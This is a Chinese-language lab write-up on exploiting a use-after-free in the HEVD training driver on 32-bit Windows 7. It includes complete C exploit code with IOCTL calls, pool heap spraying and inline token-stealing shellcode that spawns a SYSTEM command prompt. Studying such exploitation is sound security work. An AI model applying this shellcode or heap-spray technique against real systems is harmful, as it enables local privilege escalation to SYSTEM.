友好简单的Windows内核漏洞分析 之 UAF利用
UAF:即Use After Free,CTF pwn手对这一概念再熟悉不过了。作为科普,内存块被释放之后使用会发生以下几种情况:
Background | Condition1 | Condition2 | Result |
---|---|---|---|
free | 对应指针置0 | 使用 | 崩溃 |
free | 对应指针没有被置0 | 使用前无代码对该片内存进行修改 | 很有可能正常运行 |
free | 对应指针没有被置0 | 使用前有代码对该片内存进行修改 | 神秘现象 |
了解Windows内存管理机制的朋友会知道ExAllocatePoolWithTag函数并不是乱申请内存的,操作系统会选择大小最合适的堆来存放它,而被free的指针被称为悬挂指针,仍是一个有效的指针。而通过逆向分析我们可以发现在驱动中有一个函数调用了全局指针(以下用漏洞指针代替)的回调函数:
而且,通过调试,我们可以知道该结构体指针的定义如下:
typedef struct _VulnerablePointer { FunctionPointer Callback; CHAR Buffer[0x54]; } VulnerablePointer, *VulnerablePointer;
那么,综上条件,一个漏洞利用链就浮现出来了:
漏洞指针被分配内存且被释放之后没有进行其他操作
准备提权shellcode
模仿漏洞指针的结构定义构造fake chunk payload大量申请空间,目的是覆盖到漏洞指针的Callback函数(专业术语:堆喷射)
当Callback函数被调用的时候,我们在R3提权成功
申请内存
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
释放内存
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
以上函数都是通过逆向分析驱动文件得出,姑且先将底层实现当作黑盒看待,这样效率最高。
static VOID CreateCmd() { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); }
void ShellCode() { _asm { nop pushad mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构,R0中fs寄存器指向的是KCPR结构,紧接 着就是KPCRB结构,所以偏移124h的位置为KPCRB的第四个字节 mov eax, [eax + 0x50] // 找到_EPROCESS结构 mov ecx, eax mov edx, 4 // 在win7 x86 sp1 下 system进程的PID为4 // 循环是为了获取system的_EPROCESS find_sys_pid : mov eax, [eax + 0xb8] // 找到进程活动链表 sub eax, 0xb8 // 链表遍历 cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM jnz find_sys_pid // 替换Token mov edx, [eax + 0xf8] mov[ecx + 0xf8], edx popad ret } }
在Windbg中,你需要在如下三个函数下断点(因为驱动是自己编译的,所以有符号表)
HEVD!AllocateUaFObjectNonPagedPool
HEVD!FreeUaFObjectNonPagedPool
HEVD!UseUaFObjectNonPagedPool
运行exp前,我们先验证当前的权限:
运行后,命中的第一个断点:HEVD!AllocateUaFObjectNonPagedPool
运行到漏洞指针被赋值的位置,查看一下该指针的内容,以及指向的pool chunk:
可以看到状态为Allocated,大小为60h = sizeof(_VulnerablePointer) + 8 (pool chunk header)
接着来看free之后的pool chunk状态:
且此时漏洞指针的Callback函数随意指向了一个位置:
执行到下一个断点,此时exp程序完成了堆喷,正准备执行漏洞指针的回调函数,再次观察漏洞指针的pool chunk以及Callback函数:
至此,通过UAF成功在R3提权,获取system权限
#include<stdio.h> #include<Windows.h> /************************************************************************/ /* Write by Thunder_J 2019.6 */ /************************************************************************/ typedef void(*FunctionPointer) (); typedef struct _FAKE_USE_AFTER_FREE { FunctionPointer countinter; char bufffer[0x54]; }FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE; void ShellCode() { _asm { nop pushad mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构 mov eax, [eax + 0x50] // 找到_EPROCESS结构 mov ecx, eax mov edx, 4 // edx = system PID(4) // 循环是为了获取system的_EPROCESS find_sys_pid : mov eax, [eax + 0xb8] // 找到进程活动链表 sub eax, 0xb8 // 链表遍历 cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM jnz find_sys_pid // 替换Token mov edx, [eax + 0xf8] mov[ecx + 0xf8], edx popad ret } } static VOID CreateCmd() { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); } int main() { DWORD recvBuf; HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); printf("Start to get HANDLE...\n"); if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) { printf("获取句柄失败\n"); return 0; } printf("Start to call AllocateUaFObject()...\n"); DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL); printf("Start to call FreeUaFObject()...\n"); DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL); printf("Start to write shellcode()...\n");// PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE)); fakeG_UseAfterFree->countinter = ShellCode; RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A'); printf("***********************************\n"); printf("Start to heap spray...\n"); for (int i = 0; i < 5000; i++) { DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL); //Allocate FakeObject NonPagedPool IoctlHandler allocate新的object,堆喷 } printf("Start to call UseUaFObject()...\n"); DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL); printf("Start to create cmd...\n"); CreateCmd(); //system("whoami"); return 0; }
感谢 Thunder_J提供的exp